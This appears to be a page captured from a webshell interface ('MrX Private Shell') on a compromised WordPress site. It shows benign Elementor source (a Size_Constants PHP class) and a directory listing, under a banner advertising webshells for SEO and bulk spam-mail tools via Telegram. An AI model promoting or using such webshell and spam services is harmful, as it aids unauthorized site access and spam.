__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Elementor\Modules\AtomicWidgets\Styles;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Size_Constants {
	const UNIT_PX = 'px';
	const UNIT_PERCENT = '%';
	const UNIT_EM = 'em';
	const UNIT_REM = 'rem';
	const UNIT_VW = 'vw';
	const UNIT_VH = 'vh';
	const UNIT_AUTO = 'auto';
	const UNIT_CUSTOM = 'custom';
	const UNIT_SECOND = 's';
	const UNIT_MILLI_SECOND = 'ms';
	const UNIT_ANGLE_DEG = 'deg';

	const LENGTH_UNITS = [
		self::UNIT_PX,
		self::UNIT_EM,
		self::UNIT_REM,
		self::UNIT_VW,
		self::UNIT_VH,
	];

	const TIME_UNITS = [ self::UNIT_SECOND, self::UNIT_MILLI_SECOND ];
	const EXTENDED_UNITS = [ self::UNIT_AUTO, self::UNIT_CUSTOM ];
	const VIEWPORT_MIN_MAX_UNITS = [ 'vmin', 'vmax' ];
	const ANGLE_UNITS = [ self::UNIT_ANGLE_DEG, 'rad', 'grad', 'turn' ];

	public static function all_supported_units(): array {
		return array_merge(
			self::all(),
			self::ANGLE_UNITS,
			self::TIME_UNITS,
			self::EXTENDED_UNITS,
			self::VIEWPORT_MIN_MAX_UNITS,
		);
	}

	public static function all(): array {
		return [
			...self::LENGTH_UNITS,
			self::UNIT_PERCENT,
			self::UNIT_AUTO,
		];
	}

	private static function units_without_auto(): array {
		return [ ...self::LENGTH_UNITS, self::UNIT_PERCENT ];
	}

	public static function layout(): array {
		return self::units_without_auto();
	}

	public static function spacing_margin() {
		return self::all();
	}

	public static function spacing(): array {
		return self::units_without_auto();
	}

	public static function position(): array {
		return self::units_without_auto();
	}

	public static function anchor_offset(): array {
		return self::LENGTH_UNITS;
	}

	public static function typography(): array {
		return self::units_without_auto();
	}

	public static function stroke_width(): array {
		return [
			self::UNIT_PX,
			self::UNIT_EM,
			self::UNIT_REM,
		];
	}

	public static function transition(): array {
		return self::TIME_UNITS;
	}

	public static function border(): array {
		return self::units_without_auto();
	}


	public static function opacity(): array {
		return [ self::UNIT_PERCENT ];
	}

	public static function box_shadow(): array {
		return self::units_without_auto();
	}

	public static function rotate(): array {
		return self::ANGLE_UNITS;
	}

	public static function transform(): array {
		return self::units_without_auto();
	}

	public static function drop_shadow(): array {
		return self::LENGTH_UNITS;
	}

	public static function blur_filter(): array {
		return self::LENGTH_UNITS;
	}

	public static function intensity_filter(): array {
		return [ self::UNIT_PERCENT ];
	}

	public static function color_tone_filter(): array {
		return [ self::UNIT_PERCENT ];
	}

	public static function hue_rotate_filter(): array {
		return self::ANGLE_UNITS;
	}
}

Filemanager

Name Type Size Permission Actions
atomic-styles-manager.php File 7.26 KB 0664
atomic-widget-base-styles.php File 1.21 KB 0664
atomic-widget-styles.php File 2.66 KB 0664
css-files-manager.php File 2.41 KB 0664
size-constants.php File 2.72 KB 0664
style-definition.php File 759 B 0664
style-file.php File 946 B 0664
style-fonts.php File 1.16 KB 0664
style-schema.php File 14.04 KB 0664
style-states.php File 1.13 KB 0664
style-variant.php File 898 B 0664
styles-renderer.php File 5.26 KB 0664
Filemanager